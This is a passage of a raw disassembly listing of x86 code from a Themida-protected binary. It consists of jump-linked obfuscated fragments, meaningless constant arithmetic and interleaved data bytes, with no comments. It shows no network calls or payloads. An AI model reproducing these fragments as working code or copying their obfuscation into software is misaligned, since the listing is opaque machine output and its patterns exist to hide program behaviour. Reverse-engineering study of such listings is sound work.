		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		pop	edx
		push	eax
		push	ebp
		push	54265726h
		pop	ebp
		push	ebx
		mov	ebx, 652E168Dh
		jmp	loc_56C7CA
; ---------------------------------------------------------------------------
		dd 1EA81h, 95E90000h, 81FFFF39h, 4C4h, 5FFB2900h, 32F46855h
		dd 69E90000h, 2DFFFF9Fh, 5AEE4C0Ah, 0A05D001h, 5A5AEE4Ch
		dd 5C240487h, 0E9E28952h, 0FFFFDF24h, 92D0F792h, 0FFC3C1E9h
		dd 0C4835FFFh, 1BEE8104h, 10E1D25h, 0A68FE9EEh,	3C31FFFFh
		dd 243C3324h, 8924248Bh, 0BB53240Ch, 412E7EC1h,	0D8A706B9h
		dd 9DBE948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CC7A:				; CODE XREF: Themida_:00563123j
		add	esi, 641335h
		mov	eax, [esp]
		jmp	loc_55E85B
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 55582434h, 0FFDF50E9h, 4EC83FFh,	0FF297CE9h
		dd 3EDC1FFh, 5EE9504Dh,	66000043h, 14F76652h, 148B6624h
		dd 0E0895024h, 405h, 2BB5300h, 0E9000000h, 0FFFF3136h
		dd 0BAE9565Eh
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CCCB:				; CODE XREF: Themida_:00565B72j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56691A
; ---------------------------------------------------------------------------


loc_56CCDA:				; CODE XREF: Themida_:00562A28j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------


loc_56CCE6:				; CODE XREF: Themida_:0056FB19j
		pop	edi
		jmp	loc_564B53
; ---------------------------------------------------------------------------


loc_56CCEC:				; CODE XREF: Themida_:005722EBj
		pop	ebp
		jmp	loc_56429B
; ---------------------------------------------------------------------------


loc_56CCF2:				; CODE XREF: Themida_:005660BDj
		mov	ecx, 6AF94F95h
		sub	ecx, 537520D6h
		shr	ecx, 8
		sub	ecx, 35D90AC1h
		neg	ecx
		push	ebp
		jmp	loc_56786D
; ---------------------------------------------------------------------------


loc_56CD0E:				; CODE XREF: Themida_:0057008Aj
		and	ebx, ebp
		pop	ebp
		shr	ebx, 8
		add	ebx, 90FC0417h
		jmp	loc_56A33B
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 81000000h,	4EDh, 0FA8CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CD32:				; CODE XREF: Themida_:0056A64Cj
		sub	eax, 497507D6h
		mov	ebp, [esp]
		add	esp, 4
		or	eax, 28292087h
		dec	eax
		sub	eax, 41F3CB6Dh
		xor	ebx, eax
		pop	eax
		mov	edx, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp


loc_56CD62:				; CODE XREF: Themida_:0055E66Aj
					; Themida_:0056F2CAj
		push	6DBCh
		jmp	loc_565BD1
; ---------------------------------------------------------------------------


loc_56CD6C:				; CODE XREF: Themida_:0056397Bj
		mov	ebx, esp
		push	ebp
		jmp	loc_56B76A
; ---------------------------------------------------------------------------


loc_56CD74:				; CODE XREF: Themida_:0056B1D7j
		mov	[edi+20h], ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_563DDC
; ---------------------------------------------------------------------------


loc_56CD80:				; CODE XREF: Themida_:0056A31Bj
		push	ebp
		mov	ebp, 63355E21h
		jmp	loc_55F3D4
; ---------------------------------------------------------------------------
		db 0B0h
		dd 6E0C068h, 0C3004C34h, 0E9F32858h, 4D44h, 3E9C301h, 58FFFF7Ch
		dd 34FFD028h, 0C4815A24h, 4, 0FEF1B252h, 0D45CE9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CDBA:				; CODE XREF: Themida_:0055D8B1j
		mov	ebx, [esp]
		add	esp, 4
		pop	esi
		shr	ebx, 2
		neg	ebx
		and	ebx, 0CE71D02h
		sub	ebx, 6F230C25h
		xor	ebx, 1B110AC6h
		jmp	loc_5611D6
; ---------------------------------------------------------------------------


loc_56CDE0:				; CODE XREF: Themida_:00570261j
		shl	ebp, 6
		add	ebp, 1DAF7458h
		jmp	loc_56FF0A
; ---------------------------------------------------------------------------
		dw 0CA88h
		dd 81240C8Bh, 4C4h, 66D00000h, 0E924148Bh, 0FFFFBE66h
		dd 0E924048Bh, 0FFFF9C85h, 1CBD555Fh, 0F70C1634h, 14F581DDh
		dd 0E97BF006h, 0FFFF40F0h, 734E26B9h, 0B1DEBE25h, 0CE01DA8Ch
		dd 401AE9h, 48B6600h, 2F0FE924h, 34FF0000h, 0C4835A24h
		dd 4EC8104h, 89000000h,	0BABA2414h, 0D11B3014h,	0D481E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CE56:				; CODE XREF: Themida_:0056B9BFj
		mov	[esp], edi
		mov	edi, 2BA71C0h
		sub	edi, 479A213Dh
		jmp	loc_567C0B
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0B7535A66h, 5C3AE951h, 3C89FFFFh, 57C5BF24h,	6850326Fh
		dd 5A2B0CDCh, 3E8C158h,	2D02E8C1h, 0F9A34FC0h, 3158C189h
		dd 0C9815FF9h, 181F411Bh, 65EF68h, 24048900h, 413148B8h
		dd 0E9C12145h, 0FFFF8B59h, 2C3815Dh, 87000000h,	248B241Ch
		dd 0E045E924h, 0C381FFFFh, 896B7087h, 1C8BDD31h, 4C48124h
		dd 52000000h, 9A5964BAh, 0B136E923h, 12B9FFFFh,	0E90BCB56h
		dd 0FFFF8FDAh, 0E289525Ah, 4BE56h, 0F2010000h, 4C2815Eh
		dd 87000000h, 0E95C2414h, 0FFFF57DEh, 0E904EC83h, 561Eh
		db 58h,	50h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 0FCA2A30h
		xor	ebx, 0FCA2A34h
		jmp	loc_565B37
; ---------------------------------------------------------------------------


loc_56CF28:				; CODE XREF: Themida_:00566E07j
		push	ecx
		mov	ecx, 228C229Ch
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, 15AF4EA8h
		xor	edx, 27AA7948h
		shl	edx, 5
		push	edi
		jmp	loc_570BBA
; ---------------------------------------------------------------------------
		dd 3B0F68h, 241C8900h, 0D0E9FAB7h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CF57:				; CODE XREF: Themida_:00561636j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5639A8
; ---------------------------------------------------------------------------
		dd 405h, 40500h, 4870000h, 50ABE924h, 8B66FFFFh, 8953240Ch
		dd 685356E3h, 7385h, 0B8240489h, 4350174Fh, 34FFC389h
		dd 5DCE924h, 0B468FFFFh, 89000011h, 0E189240Ch,	76685356h
		dd 8B29A15Ah, 0C483241Ch, 0C5F38104h, 895EB347h, 9669E9DEh
		dd 74FFFFFFh, 8F590424h, 0DBE92404h, 0C1FFFF85h, 8DE905E3h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CFCB:				; CODE XREF: Themida_:00561249j
		xor	ebp, [esp]
		pop	esp
		jmp	loc_565B69
; ---------------------------------------------------------------------------
		dd 2404A30Fh, 0FEE7E99Ch, 5A5BFFFEh, 24148B66h,	2C483h
		dd 812204D8h, 4ECh, 2DCFE900h, 815E0000h, 39176EEEh, 5E69E931h
		dd 4CBFFFFFh, 0E91E8262h, 0FFFF5D60h, 0E924048Bh, 0FFFF851Ah
		dd 0D32E7BFh, 3A95E970h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D01E:				; CODE XREF: Themida_:005627E1j
		dec	edx
		sub	edx, 403402Bh
		push	ebp
		mov	ebp, edx
		jmp	loc_560213
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 7
		dd 301DC281h, 71E90D4Ch, 0D1FFFF93h, 0D8C02DE8h, 0C221F2BDh
		dd 0E9D2F758h, 3F39h, 6806E5C1h, 21h, 0E9241489h, 0FFFFAA8Ah
		dd 0C381FB01h, 3BBA001Bh, 1BC868h, 24148900h, 0BAh, 53DA0100h
		dd 0BBh, 3D30100h, 148B5B03h, 4C48124h,	8B000000h, 0C483241Ch
		dd 266BE904h, 0DF010000h, 16F5E9h, 2434FF00h, 53242C8Bh
		dd 0C381E389h, 4, 4C381h, 1C870000h, 2047E924h,	56590000h
		dd 1B8068h, 3764E900h, 6B680000h, 0E9000023h, 0B61h, 70FEEB81h
		dd 555640F3h, 0FF6F34E9h, 4C581FFh, 83000000h, 0E95304C5h
		dd 0FFFF0811h
; ---------------------------------------------------------------------------


loc_56D0E8:				; CODE XREF: Themida_:00569F7Cj
		pop	eax
		add	ebx, esi
		jmp	loc_56EE7F
; ---------------------------------------------------------------------------
		dd 0EC835A54h, 243C8904h, 2267A9BFh, 2BC78161h,	0D13D221Eh
		dd 68E7h, 8AE90000h, 59000044h,	48BC629h, 0BAAE924h, 0EA81FFFFh
		dd 27415542h, 0C281C201h, 27415542h, 0FF3B54E9h, 0E95052FFh
		dd 0FFFF5443h, 7E7C15Fh, 9123C781h, 7E96C68h, 0C1FFFF2Bh
		dd 0EAC108E2h, 0B0EDE905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D14E:				; CODE XREF: Themida_:005627D6j
		push	1EFBh
		mov	[esp], eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 49D45C40h
		shl	edx, 1
		neg	edx
		inc	edx
		add	edx, 7A32678Fh
		sub	edx, 1
		jmp	loc_57158E
; ---------------------------------------------------------------------------


loc_56D171:				; CODE XREF: Themida_:0056364Aj
		add	esp, 4
		add	esp, 4
		push	267Bh
		mov	[esp], eax
		push	ebx
		jmp	loc_560DCA
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0C7E9C8B7h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56D193:				; CODE XREF: Themida_:0056D5FAj
		mov	eax, 3E3B1EFEh
		mov	ebx, eax
		pop	eax
		add	ebx, 4D1B5F05h
		neg	ebx
		and	ebx, 50DC0535h
		push	7F35h
		jmp	loc_560CD7
; ---------------------------------------------------------------------------
		db 51h
		dd 0D16C8FB9h, 0C1814131h, 0CE2E9374h, 8359CA01h, 148704C2h
		dd 0EC835C24h, 4D5BE904h, 0BF570000h, 2D9456C1h, 84EF814Fh
		dd 812D3900h, 0E530D5EFh, 7BF7811Ch, 817BBB7Eh,	0C1D47EFh
		dd 2020E907h, 0C481FFFFh, 4, 0FF7642E9h, 81E789FFh, 4ECh
		dd 240C8900h, 4B9h, 59CF0100h, 8704C783h, 805C243Ch, 0DBE94FC6h
		dd 5FFFFFB1h, 0FF837DE9h, 396853FFh, 5B1A5A09h,	795DF381h
		dd 0D9894EC5h, 81241C8Bh, 4C4h,	59CA3100h, 0EAC1DAF7h
		dd 0FEEA8108h, 31A17BD9h, 24148BD7h, 242A68h, 241C8900h
		dd 0C381E389h, 4, 5304C383h, 42474FFh, 24048F5Bh, 68EFD15Ch
		dd 0F2Ah, 0FF5022E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D27D:				; CODE XREF: Themida_:00562EC2j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_562BCA
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BF243C89h, 36BC2F4Eh, 3C8BFD89h,	4C48324h, 5EBE5651h
		dd 89485256h, 98E95EF1h, 81FFFFB4h, 5C0529C3h, 24348B5Ch
		dd 3104C483h, 0FC07E9C2h, 74FFFFFEh, 8F590424h,	0F8E92404h
		dd 89FFFF95h, 10B82404h, 83785024h, 148904ECh, 6E96BA24h
		dd 0E2D1607Ch, 0EA81D2F7h, 55C20EA0h, 835AD001h, 48904ECh
		dd 68585B24h, 0
		dd 0E9241C29h, 49A9h, 0B5240C89h, 82C580ADh, 0FF59E828h
		dd 0C8B2434h, 4C48124h,	83000000h, 0EC8104C4h, 4, 0E9241C89h
		dd 0FFFFB096h, 4EC835Ch, 55243C89h, 6F33F5BDh, 8BEF8979h
		dd 0C483242Ch, 7ABE5604h, 810F5A27h, 0EAF383EEh, 5EF73195h
		dd 31E9F901h, 89FFFF6Fh, 20D6E9D5h, 0E268FFFFh,	8900007Ah
		dd 89502414h, 405E0h, 42D0000h,	87000000h, 6BE92404h, 81FFFF83h
		dd 4ECh, 0B5AEE900h, 0C8BFFFFh,	4C48324h, 177AEB81h, 0EB0171CFh
		dd 177AC381h, 92E971CFh, 8900000Eh, 9BF243Ch, 0E91FF83Eh
		dd 0FFFF8229h, 0C243C581h, 0EA21A863h, 8C2815Dh, 0E923E453h
		dd 0FFFF8F07h, 1558E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D3C2:				; CODE XREF: Themida_:0056067Fj
		push	ebp
		jmp	loc_5697AE
; ---------------------------------------------------------------------------
		dd 0DA9BE95Bh, 0FFB0FFFFh, 28ECC580h, 0ECED80C5h, 0ED805866h
		dd 19ED80AFh, 0E8E9E828h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D3E7:				; CODE XREF: Themida_:00567786j
		mov	esp, [esp]
		mov	[esp], eax
		push	1A94h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_56C846
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 4B8505Ah, 0E9000000h, 2A1Bh
; ---------------------------------------------------------------------------


loc_56D424:				; CODE XREF: Themida_:00562E0Fj
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 19CFE924h, 55520000h, 5027D3BDh, 246C3125h, 565D5D04h
		dd 330E9h
		db 0
; ---------------------------------------------------------------------------


loc_56D449:				; CODE XREF: Themida_:0056DCA6j
		mov	ebp, edx
		mov	ecx, ebp
		pop	ebp
		jmp	loc_56F522
; ---------------------------------------------------------------------------


loc_56D453:				; CODE XREF: Themida_:00568FF6j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		jmp	loc_56C125
; ---------------------------------------------------------------------------
		db 81h
		dd 2B6EFEEEh, 3A6DE97Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D476:				; CODE XREF: Themida_:0056473Ej
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		push	367h
		jmp	loc_56013D
; ---------------------------------------------------------------------------


loc_56D485:				; CODE XREF: Themida_:0056E2A9j
		pop	ecx
		jmp	loc_565CF3
; ---------------------------------------------------------------------------


loc_56D48B:				; CODE XREF: Themida_:0055DBDDj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5645FC
; ---------------------------------------------------------------------------
		db 33h
		dd 665C243Ch, 9C240409h, 0FEFA1CE9h, 241489FFh,	0C281E289h
		dd 4, 4C281h, 14870000h, 0C7835C24h, 19E95704h,	81000042h
		dd 231D51C2h, 0EBCA812Fh, 8156C503h, 27DA06C2h,	0E9D529DBh
		dd 0FFFF00A7h, 0E924348Bh, 0FFFF18E9h
; ---------------------------------------------------------------------------


loc_56D4E8:				; CODE XREF: Themida_:0056FA97j
		not	edx
		shl	edx, 2
		xor	edx, 0F3670CBFh
		jmp	loc_56F78C
; ---------------------------------------------------------------------------
		dd 5C243487h, 0E9241C89h, 0FFFF1DF2h, 4EC815Dh,	89000000h
		dd 65E9242Ch, 500003Fh,	5F4A580Eh, 1100E951h, 0FF50FFFFh
		dd 58042474h, 0E924048Fh, 0FFFF3BBFh, 5559CF01h, 0EC7E9DBDh
		dd 5DEB013Bh, 63EBEB81h, 0FB295681h, 63EBC381h,	0EB815681h
		dd 3BEC7E9Dh, 52243C8Bh, 0FF6DB3E9h, 405FFh, 4050000h
		dd 87000000h, 815C2404h, 4ECh, 243C8900h, 2BFh,	0EC18100h
		dd 15BC51Ah, 0D1B850F9h, 250E8E7Fh, 4ECD2BB7h, 2339EC05h
		dd 5E0C110h, 95912D48h,	0C1297A27h, 0FE9CE958h,	4C01FFFEh
		dd 6C810824h, 558E0824h, 1593A7Ch, 8104247Ch, 0A604246Ch
		dd 5F0B295Fh, 0FEF90CE9h, 9CE681FFh, 0C1153356h, 0F68107E6h
		dd 412E5F93h, 0C130EE81h, 0EEC1C612h, 0F6814E02h, 49E5493h
		dd 0FFC53DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D5DD:				; CODE XREF: Themida_:0057044Dj
		add	esp, 4
		sub	esi, 692212F8h
		push	eax
		mov	eax, 284B073Dh
		add	eax, 14990FF3h
		jmp	loc_57186D
; ---------------------------------------------------------------------------


loc_56D5F9:				; CODE XREF: Themida_:005619EFj
		push	eax
		jmp	loc_56D193
; ---------------------------------------------------------------------------
		db 56h
		dd 0D15FC3BEh, 0E9F7890Ah, 0FFFFC4D7h, 567B662Dh, 0E8295A65h
		dd 4931E9h, 24148900h, 601F3DBAh, 8E2C145h, 8308EAC1h
		dd 0ACE904ECh
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D62F:				; CODE XREF: Themida_:0056276Dj
		mov	esi, 59E60766h
		shl	esi, 6
		jmp	loc_55EF45
; ---------------------------------------------------------------------------
		dd 311DBD55h, 51E90B45h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D647:				; CODE XREF: Themida_:0056B905j
		add	ecx, 2
		jmp	loc_568CC8
; ---------------------------------------------------------------------------
		dw 1C8Bh
aUs_0		db '$Ué½*',0
		dw 3100h
		dd 0EB015AD5h, 81242C8Bh, 4C4h,	241C3300h, 33241C31h, 0B1E9241Ch
		dd 59000016h, 278EB81h,	0EB010BB1h, 0FF86A4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D685:				; CODE XREF: Themida_:005613FCj
		pop	ecx
		jmp	loc_56F3C6
; ---------------------------------------------------------------------------


loc_56D68B:				; CODE XREF: Themida_:0056FC9Aj
		xchg	edx, ecx
		xchg	ebx, edx
		not	ebx
		jmp	loc_570E2C
; ---------------------------------------------------------------------------


loc_56D696:				; CODE XREF: Themida_:0056DFEEj
		add	ebx, esi
		pop	esi
		add	ebx, ecx
		push	ebp
		jmp	loc_5711E2
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0B82404h,	0E9000000h, 0FFFF8ACEh,	4240483h
		dd 4C6815Eh, 68000000h,	1163h, 0BF243C89h, 5F6D6FB1h, 11E9E955h
		dd 0DD31FFFFh, 4E5C15Bh, 0FF311EE9h, 1665CFFh, 0E99C2404h
		dd 0FFFEF7DDh, 0C8BC801h, 4EC8324h, 89241C89h, 9B850E3h
		dd 0E900E315h, 0FFFF4449h, 8B5AD329h, 23E9240Ch, 59FFFF69h
		dd 4A2AE9h, 5EF32900h, 135EE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D71A:				; CODE XREF: Themida_:00560A97j
		push	19FFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	edx, [esp]
		add	esp, 4
		xor	edx, ebp
		xor	ebp, edx
		xor	edx, ebp
		not	ebp
		xchg	ebp, edx
		push	eax
		sub	esp, 4
		mov	[esp], edx
		pop	eax
		pop	edx
		sub	esp, 4
		jmp	loc_56F57B
; ---------------------------------------------------------------------------
		dd 3542F581h, 2E94106h,	52FFFF7Bh, 0FF7B87E9h, 27D3BEFFh
		dd 0A1E92550h, 5700003Ch, 0FF587BE9h, 9BE980FFh, 281FE980h
		dd 240C8BC8h, 4C481h, 5E680000h, 89000031h, 89532414h
		dd 4C381E3h, 0E9000000h, 25Fh, 75C2C181h, 0E9015577h, 75C2E981h
		dd 495D5577h, 1287E949h, 0CCB30000h, 1C8BDA88h,	0E9545724h
		dd 0FFFF0F99h
; ---------------------------------------------------------------------------


loc_56D7D4:				; CODE XREF: Themida_:00560A7Dj
		add	ecx, 0FF28D7CAh
		sub	ebp, ecx
		jmp	loc_5724E9
; ---------------------------------------------------------------------------
aBABFtBA	db 'ͱ',9,'',0Bh,'ÍfTÜ#Å',0Dh,' ',0
		dw 2980h
		dd 4875DE8h, 24248B24h,	0BF243C89h, 1F354034h, 0BA8C781h
		dd 0E7814DC3h, 31B70F2h, 12F3F781h, 0E94F74CCh,	0FFFEFCBFh
; ---------------------------------------------------------------------------


loc_56D81C:				; CODE XREF: Themida_:005724FEj
		xor	ebx, [esp]
		jmp	loc_56BB8A
; ---------------------------------------------------------------------------


loc_56D824:				; CODE XREF: Themida_:0056ED8Dj
		neg	esi
		neg	esi
		inc	esi
		sub	esi, 0F2740C5Bh
		mov	edx, esi
		pop	esi
		xor	[esp+4], edx
		pop	edx
		pop	ecx
		push	ebx
		push	esi
		push	0B987DAAh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_570799
; ---------------------------------------------------------------------------


loc_56D84A:				; CODE XREF: Themida_:00567160j
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_56E6C9
		push	ebp
		push	ebx
		push	edi
		push	ebx
		push	71D72450h
		jmp	loc_563E00
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 400004F5h, 5DEA0130h, 2474FF52h, 48F5A04h
		dd 0EC835C24h, 240C8904h, 240C8B50h, 4C481h, 0CA890000h
		dd 4248E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D89A:				; CODE XREF: Themida_:0056BEABj
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_57030A
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 2
		dd 0F587DDF7h, 0F587DEF7h, 0F61BB53h, 0F75369BBh, 3EE92414h
		db 2Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D8C3:				; CODE XREF: Themida_:00567F6Dj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_561594
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 8Bh
		dd 0BDE92434h, 0FFFFFFCAh, 0A1683877h, 89000029h, 0BE56242Ch
		dd 1CB655E3h, 0FF714AE9h, 1EC80FFh, 5866E788h, 0F780DFF6h
		dd 4B94E979h, 0F0310000h, 0E9EE9h, 36426800h, 24890000h
		dd 24048124h, 4, 0E924048Fh, 0FFFF103Ah
; ---------------------------------------------------------------------------


loc_56D920:				; CODE XREF: Themida_:00562D3Aj
		add	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shr	ecx, 7
		jmp	loc_5705C8
; ---------------------------------------------------------------------------
aH_		db '\hÀ_',0
		align 2
		dw 2C89h
		dd 68F4BD24h, 0B9514714h, 1FD546A3h, 0FFE7FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D94D:				; CODE XREF: Themida_:0056C2A4j
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		push	2FA6h
		mov	[esp], esi
		mov	esi, 4696089Ch
		jmp	loc_56DDDC
; ---------------------------------------------------------------------------
		db 0B8h
		dd 77100023h, 0FFF0ECE9h, 0F547E9FFh, 0C201FFFEh, 1CF1C281h
		dd 0BB53311Dh, 5C97CEAh, 186CE9h, 0E9D93100h, 0FFFF79EAh
		dd 8768E089h, 8900001Bh, 0E589242Ch, 4C581h, 0BE560000h
		dd 4, 335EF529h, 2C31242Ch, 3F48E924h, 34FFFFFFh, 0C4835E24h
		dd 4EC8304h, 0FF240489h, 58042474h, 0E924048Fh,	0FFFF57E9h
		dd 0E9D2F74Ah, 0FFFFD175h, 2404335Bh, 1DE0E9h, 2E2C100h
		dd 2FC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_56D9F1:				; CODE XREF: Themida_:0055FC18j
		pop	ecx
		add	eax, ebx
		pop	ebx
		push	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 505D2C65h
		xor	esi, 78076DE8h
		jmp	loc_5601F2
; ---------------------------------------------------------------------------
		db 81h
		dd 2EBh, 241C8700h, 0F607E95Ch,	8B5CFFFEh, 0C481240Ch
		dd 4, 0C280EA00h, 0D00059D7h, 0FF384BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DA35:				; CODE XREF: Themida_:0056EA00j
		pop	esp
		mov	[esp], edx
		pop	edi
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	edi, 1
		and	edi, 157536B4h
		push	eax
		mov	eax, 10243434h
		jmp	loc_570B35
; ---------------------------------------------------------------------------
		dd 8324148Bh, 0C48104C4h, 4, 0E924048Fh, 0FFFF4F1Eh, 0C9E9DA29h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DA83:				; CODE XREF: Themida_:00566431j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_569ACE
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 2
		dd 55000000h, 42474FFh,	0FFDCEAE9h, 242489FFh, 0FF3B3FE9h
		dd 0E68956FFh, 4C681h, 0C6830000h, 24343304h, 0FFD9D2E9h
		dd 80C200FFh, 126881EAh, 0E900005Eh, 0FFFEFEB3h, 35665F66h
		dd 2166F897h, 24048BC2h, 3C8B5457h, 4C48124h, 0E9000000h
		dd 2115h, 5966C800h, 1A4268h, 241C8900h, 0FF285DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DAF9:				; CODE XREF: Themida_:005684C6j
		add	esp, 4
		jmp	loc_55E4AA
; ---------------------------------------------------------------------------
		dd offset dword_543858+110h
		dd 24248900h, 4240483h,	7D8CE959h, 0D601FFFFh, 0FEF79BE9h
		dd 66E700FFh, 6CC78058h, 805BFD28h, 7CE974EDh, 5FFFFA0h
		dd 4, 31240433h, 4332404h, 24248B24h, 73E968h, 351FE900h
		dd 0EF81FFFFh, 17ED666Ch, 81241C8Bh, 4C4h, 0BD555200h
		dd 2CBE298Ah, 4EDC145h,	6BC58145h, 89FD341Dh, 0EF815DEAh
		dd 7C871C13h, 0C781D701h, 7C871C13h, 0E92434FFh, 0FFFF3CB8h
; ---------------------------------------------------------------------------


loc_56DB84:				; CODE XREF: Themida_:00565858j
		add	edx, 4
		jmp	loc_565787
; ---------------------------------------------------------------------------


loc_56DB8F:				; CODE XREF: Themida_:005631A9j
		shr	ebx, 5
		push	edx
		mov	edx, 12524130h
		neg	edx
		push	0
		sub	[esp], edx
		pop	edx
		add	edx, 66F04173h
		and	edx, 31082D96h
		and	edx, 245C3A6Ah
		push	ebx
		mov	ebx, 0DF7B276Eh
		xor	edx, ebx
		pop	ebx
		add	ebx, 3BED1C23h
		add	ebx, edx
		sub	ebx, 3BED1C23h
		pop	edx
		sub	edx, 70216340h
		sub	edx, 109E7068h
		jmp	loc_56B118
; ---------------------------------------------------------------------------


loc_56DBDE:				; CODE XREF: Themida_:0055DAA1j
		push	7B5Bh
		mov	[esp], eax
		xor	[esp], ecx
		jmp	loc_55F1A5
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 6E8EE924h, 0C89FFFFh, 0A782E924h, 348BFFFFh,	4C48124h
		dd 0E9000000h, 0FFFF2F42h, 4C681h, 0BA520000h, 4, 0FF16BAE9h
		dd 2AC181FFh, 681D4067h, 4C91h,	0FFA768E9h, 240C89FFh
		dd 0FF197BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DC35:				; CODE XREF: Themida_:0055FD5Fj
		shl	ecx, 6
		sub	ecx, 7D12F6C0h
		mov	edx, ecx
		pop	ecx
		jmp	loc_564F7F
; ---------------------------------------------------------------------------
		dw 0D929h
		dd 0FF447AE9h, 0BE565BFFh, 2DC6510Ch, 0C102E6C1h, 1D6805EEh
		dd 89000071h, 1168240Ch, 8900002Eh, 0A968241Ch,	0E92D202Ah
		dd 0FFFFED2Ah, 40ECE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DC7A:				; CODE XREF: Themida_:0056B2EAj
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_55D2BF
; ---------------------------------------------------------------------------
		dw 5BB3h
		dd 0C5DE9h, 4C08300h, 0E9240487h, 0FFFFEAE4h, 2414895Ch
		dd 0FF5F2EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DCA5:				; CODE XREF: Themida_:0055FB22j
		push	ebp
		jmp	loc_56D449
; ---------------------------------------------------------------------------
		db 1
		dd 0C1815EF7h, 1164730Ah, 0E981F901h, 1164730Ah, 0C335F5Fh
		dd 240C3124h, 8B240C33h, 66642424h, 0F2E90289h,	0BFFFFEF1h
		dd 0F86F5Ah, 0FFBDF9E9h, 32EE68FFh, 4FE90000h, 81FFFF5Eh
		dd 0C222A7EBh, 4C38161h, 89605CDBh, 0CF83E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DCFA:				; CODE XREF: Themida_:0056C6F2j
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, edx
		pop	edx
		push	70h
		jmp	loc_56189A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 0E904C483h, 3113h, 4C481h, 0EA2D0000h, 5D2ABB2Ah
		dd 0E959C801h, 0FFFEF18Dh
; ---------------------------------------------------------------------------


loc_56DD38:				; CODE XREF: Themida_:00571EEAj
